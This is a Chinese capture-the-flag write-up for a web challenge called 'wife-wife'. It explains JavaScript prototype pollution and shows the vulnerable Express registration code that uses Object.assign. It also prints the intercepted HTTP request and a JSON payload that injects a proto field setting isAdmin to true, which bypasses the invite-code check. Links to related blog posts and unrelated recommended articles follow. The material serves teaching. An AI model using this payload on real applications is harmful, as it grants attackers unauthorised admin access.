wife-wife【原型链污染】[难度:4]

题目界面

  • 登录界面

  • 注册界面

  • 思路:在注册界面,利用原型链污染漏洞,获得管理员权限。

步骤

  • 在注册界面输入用户名-密码-邀请码,勾选admin选项,抓包

    POST /register HTTP/1.1
    Host: 61.147.171.105:63129
    Content-Length: 69
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Content-Type: text/plain;charset=UTF-8
    Accept: */*
    Origin: http://61.147.171.105:63129
    Referer: http://61.147.171.105:63129/register.html
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close **{"username":"123","password":"123","isAdmin":true,"inviteCode":"123"}**
  • 将post中的数据加入"proto"字段,放包,显示用户注册成功。

    {"username":"123","password":"123",**"_proto_":{"isAdmin":true}**,"inviteCode":"123"}
  • 注册成功后跳转到登录界面,在此界面输入刚才注册的账号,拿到flag。

知识点

原型链污染

  • 概念

    • 原型链污染是一种 JavaScript 中的安全漏洞,它涉及到修改对象的原型链,从而影响到所有基于该原型链创建的对象。这种漏洞可能导致意外的行为和安全风险。
    • 在js语言中,每一个实例对象都有一个私有属性(proto)指向它的构造函数的原型对象(prototype)。而该原型对象又有一个自己的原型对象,直到根部object对象,它是几乎所有javascript对象的祖宗,所以它是没有原型的。
    • 一个对象的_proto_属性指向所在类的prototype属性
  • 实例

    js中,定义一个类需以构造函数的方式来定义。

    var ad = function(){
    this.a = 1;
    this.b = 2;
    }
    var we = new ad(); //从一个函数里创建一个对象we
    ad.prototype.b = 3;
    ad.prototype.c = 4;//在ad函数的原型对象中定义属性
    console.log(we.a);//we对象中有a属性,为一。 console.log(we.b);//we对象也有b属性,为2.
    //原型中也有b属性,但是不会被访问到。也想当于重写。
    console.log(we.c);**//we对象没有c属性,所以在原型中找,为4**
    console.log(we.d);//d不是we对象的属性,继续看,d也不是
    //we.[[Prototype]]中的属性,继续,d也不是we.[[Prototype]].[[Prototype]]
    //中的属性,到此结束,返回undefined
  • 漏洞利用

    改变原型对象的属性,使得继承该原型对象的实例对象在本身不拥有某属性的情况下拥有某属性。

    ob1 = {"a":123,"b":456};//创建一个对象ob1
    ob1.__proto__.ab = "123456";//添加原型属性ab并赋值123456
    console.log(ob1.ab);// 打印123456
    ob2 = {"a":1234,"b":5678};//创建一个对象ob2
    console.log(ob2.ab);// 打印123456

    本题中的关键代码如下所示:

    app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
    return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
    return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
    user.isAdmin = false
    return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
    })

    Object.assign触发了原型链污染,使得实例对象的原型对象中isAdmin属性置为true。

参考链接:https://blog.csdn.net/m0_62422842/article/details/125154265

wife-wife【原型链污染】的更多相关文章

  1. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  2. 原型链污染(Node.js污染,javasrcipt原型链污染的)

    学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS  https://xz.aliyun.com/t/7184 相关题是 GYCTF  ez_expr ...

  3. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  4. 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出w ...

  5. 【web安全】Nodejs原型链污染分析

    Nodejs原型链污染分析 什么是js原型? 可以将js原型理解为其他OOP语言中的类,但还是有细微区别. 1. function F(){...} 2. var f = new F(); 分析: 1 ...

  6. js原型链污染详解

    前言 之前打某湖论剑,两道js的题,给我整懵逼了,发现以前都没对js做过多少研究,趁着被毒打了,先研究一波js原型链,未雨绸缪. 基础 protype 首先我们研究js原型链,得搞明白原型是什么,这里 ...

  7. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  8. Nodejs-原型链污染

    原型链污染 javascript 原型链 在javascript中,继承的整个过程就称为该类的原型链. 每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一 ...

  9. jacascript 构造函数、原型对象和原型链

    前言:这是笔者学习之后自己的理解与整理.如果有错误或者疑问的地方,请大家指正,我会持续更新! 先梳理一下定义: 我们通常认为 object 是普通对象,function 是函数对象: Function ...

  10. 对Javascript 类、原型链、继承的理解

    一.序言   和其他面向对象的语言(如Java)不同,Javascript语言对类的实现和继承的实现没有标准的定义,而是将这些交给了程序员,让程序员更加灵活地(当然刚开始也更加头疼)去定义类,实现继承 ...

随机推荐

  1. LeetCode46全排列(回溯入门)

    欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 题目描述 难度:中等 给定一个不含重复数字的数组 nu ...

  2. springboot3框架搭建

    Spring Boot 3.0.0已经发布一段时间了,越来越多的公司考虑将技术框架升级到最新版本,JDK也相应要求JDK17以上.对应Spring Boot 2.x的版本,建议先升级到Spring B ...

  3. Maven关联本地已有仓库的方法

    1. 将本地仓库目录localwarehouse进行压缩为localwarehouse.rar. 2. 将localwarehouse.rar解压到D:\maven文件夹中,然后在setting.xm ...

  4. 问题总结:浮点数之间的等值判断,基本数据类型不能用==来比较,包装数据类型不能用equals来判断

    浮点数之间的等值判断,基本数据类型不能用==来比较,包装数据类型不能用equals来判断. 说明:浮点数采用"尾数+阶码"的编码方式,类似于科学计数法的"有效数字+指数& ...

  5. MutationObserver监听dom元素结构及属性变化

    工作中埋码需求,当某些动态插入的元素出现时触发埋码事件,因此需要对插入元素的父节点进行监听,子节点发生变化时触发相应埋码逻辑. 方法一 监听页面结构及子元素变化: (function () { //事 ...

  6. skynet的timer似乎有问题

    skynet.timeout 传进去 number 范围内的数值但是会溢出, 调查发现 skynet.timeout 调用的是 c 的方法: c.intcommand("TIMEOUT&qu ...

  7. TiDB的简单介绍以及进行资源限制的方式与方法

    TiDB的简单介绍以及进行资源限制的方式与方法 TiDB的简介 TiDB是一个分布式数据库, 简介为: TiDB 是一个开源的分布式关系型数据库,它兼具了分布式数据库的水平扩展性和传统关系型数据库的 ...

  8. heygen模型接口 简单使用 java版

    HeyGen - AI Spokesperson Video Creator  官网地址 Create a video (heygen.com) api地址 简介: 公司最近对ai方面业务比较感兴趣了 ...

  9. 浅析依赖属性(DependencyProperty)

    在WPF中,引入了依赖属性这个概念,提到依赖属性时通常都会说依赖属性能节省实例对内存的开销.此外依赖属性还有两大优势. 支持多属性值,依赖属性系统可以储存多个值,配合Expression.Style. ...

  10. C#桶排序算法

    前言 桶排序是一种线性时间复杂度的排序算法,它将待排序的数据分到有限数量的桶中,每个桶再进行单独排序,最后将所有桶中的数据按顺序依次取出,即可得到排序结果. 实现原理 首先根据待排序数据,确定需要的桶 ...